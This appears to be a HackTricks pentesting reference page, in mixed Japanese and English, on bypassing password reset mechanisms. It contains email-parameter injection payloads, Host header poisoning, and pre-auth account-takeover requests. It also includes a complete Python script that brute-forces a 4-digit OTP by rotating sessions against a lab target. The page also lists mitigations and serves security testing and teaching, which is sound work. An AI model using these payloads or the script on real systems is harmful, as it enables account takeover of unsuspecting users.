Reset/Forgotten Password Bypass

Reading time: 15 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Password Reset Token Leak Via Referrer

  • The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
  • Impact: Cross-Site Request Forgery (CSRF) 攻撃によるアカウント乗っ取りの可能性。
  • Exploitation: パスワードリセットトークンが referer header で leak しているかを確認するには、自分のメールアドレスに対してパスワード再設定をリクエストし、送られてきたリセットリンクをクリックします。すぐにパスワードを変更せず、代わりに Burp Suite を使ってリクエストをインターセプトしながら Facebook や Twitter といったサードパーティのサイトに移動してください。リクエストを確認して、referer header がパスワードリセットトークンを含んでいるかどうかを確かめます。これにより機密情報が第三者に露出する可能性があります。
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impact: リセットトークンが攻撃者に leaking されることで、アカウント乗っ取りの可能性につながります。
  • Mitigation Steps:
  • Host header を許可されたドメインのホワイトリストと照合して検証する。
  • 絶対 URL を生成する際は、安全なサーバーサイドの方法を使用する。
  • Patch: password reset URLs を構築する際に $_SERVER['HTTP_HOST'] の代わりに $_SERVER['SERVER_NAME'] を使用する。
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • & を使って攻撃者のメールアドレスを2つ目のパラメータとして追加する
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • %20 を使用して攻撃者のメールアドレスを2番目のパラメータとして追加する
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • パイプ(|)で攻撃者のメールアドレスを2番目のパラメータとして追加する
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • 攻撃者のメールアドレスを cc を使って2番目のパラメータとして追加する
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • attacker のメールアドレスを2番目のパラメータとして bcc で追加する
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • 2番目のパラメータとして attacker email を "," を使って追加する
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • json配列の2番目のパラメータとして攻撃者のメールを追加する
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

API パラメータを介した任意ユーザーの Email と Password の変更

  • 攻撃者は API リクエスト内の email および password パラメータを改変して、アカウントの認証情報を変更できる。
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

レート制限なし: Email Bombing

  • パスワードリセット要求に対するレート制限がないと、Email Bombingにつながり、ユーザーがリセットメールで圧倒される可能性がある。
  • 緩和手順:
  • IPアドレスやユーザーアカウントに基づくレート制限を実装する。
  • 自動化された悪用を防ぐためにCAPTCHAを使用する。
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • トークン生成のパターンや方法を理解すると、トークンの予測や総当たり攻撃につながる可能性がある。生成方法の例:
  • タイムスタンプに基づく
  • UserIDに基づく
  • ユーザーのメールアドレスに基づく
  • 名と姓に基づく
  • 生年月日に基づく
  • 暗号的手法に基づく
  • 緩和手順:
  • トークン生成には強力な暗号的手法を使用する。
  • 予測を防ぐために十分なランダム性と長さを確保する。
  • Tools: Use Burp Sequencer to analyze the randomness of tokens.

Guessable UUID

  • UUID(version 1)が推測可能または予測可能な場合、攻撃者はそれらを総当たりして有効なリセットトークンを生成できる可能性がある。確認ポイント:

UUID Insecurities

  • 緩和手順:
  • ランダム性のためにGUID version 4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
  • Tools: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。
  • 緩和手順:
  • レスポンスの整合性を確保するためにサーバー側の検証を実装する。
  • 中間者攻撃を防ぐためにHTTPSなどのセキュアな通信チャネルを使用する。
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • 期限切れのトークンが依然としてパスワードリセットに使用できるかをテストする。
  • 緩和手順:
  • 厳格なトークン有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。

Brute Force Password Reset Token

  • Burpsuite や IP-Rotator のようなツールを使用して、IPベースのレート制限を回避しつつリセットトークンを総当たり攻撃する。
  • 緩和手順:
  • 堅牢なレート制限とアカウントロックアウト機構を実装する。
  • 総当たり攻撃を示す不審な活動を監視する。

Try Using Your Token

  • 攻撃者のリセットトークンが被害者のメールと組み合わせて使用できるかをテストする。
  • 緩和手順:
  • トークンがユーザーセッションやその他のユーザー固有の属性に紐付けられていることを確認する。

Session Invalidation in Logout/Password Reset

  • ユーザーがログアウトまたはパスワードをリセットした際にセッションが無効化されることを保証する。
  • 緩和手順:
  • 適切なセッション管理を実装し、ログアウトやパスワードリセット時にすべてのセッションが無効化されるようにする。

Session Invalidation in Logout/Password Reset

  • リセットトークンには期限を設定し、その期限後は無効にするべきである。
  • 緩和手順:
  • リセットトークンに適切な有効期限を設定し、サーバー側で厳格に施行する。

OTP rate limit bypass by changing your session

  • サイトが誤ったOTP試行をユーザーセッションで追跡しており、OTPが弱い(<= 4 digits)場合、実質的にOTPを総当たりできる。
  • 悪用方法:
  • サーバーにブロックされた後、新しいセッショントークンをリクエストするだけ。
  • : この脆弱性を悪用してOTPをランダムに推測するコード(セッションを変更するとOTPも変わるため、連続的な総当たりはできない):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

一部の実装では、skipOldPwdCheck=true を指定して password-change ルーチンを呼び出し、リセットトークンや所有権を検証しない password change アクションを公開していることがある。エンドポイントが change_password のような action パラメータとリクエストボディ内の username/新しいパスワードを受け入れる場合、攻撃者は認証前に任意のアカウントのリセットが可能になる。

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation リクエスト(概念):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

緩和策:

  • パスワードを変更する前に、アカウントとセッションに紐づいた有効期限付きの有効なリセットトークンを常に要求すること。
  • skipOldPwdCheck パスを未認証ユーザーに決して公開しないこと。通常のパスワード変更では認証を強制し、既存のパスワードを検証すること。
  • パスワード変更後はすべてのアクティブなセッションとリセットトークンを無効化すること。

Registration-as-Password-Reset (Upsert on Existing Email)

一部のアプリケーションでは、signup handler を upsert として実装しています。メールアドレスが既に存在する場合、handler はリクエストを拒否する代わりにユーザーレコードを沈黙のうちに更新してしまいます。registration endpoint が既存のメールアドレスと新しいパスワードを含む最小限の JSON ボディを受け付けると、所有権の検証なしに事実上 pre-auth password reset となり、完全なアカウント乗っ取りが可能になります。

Pre-auth ATO PoC (overwriting an existing user's password):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする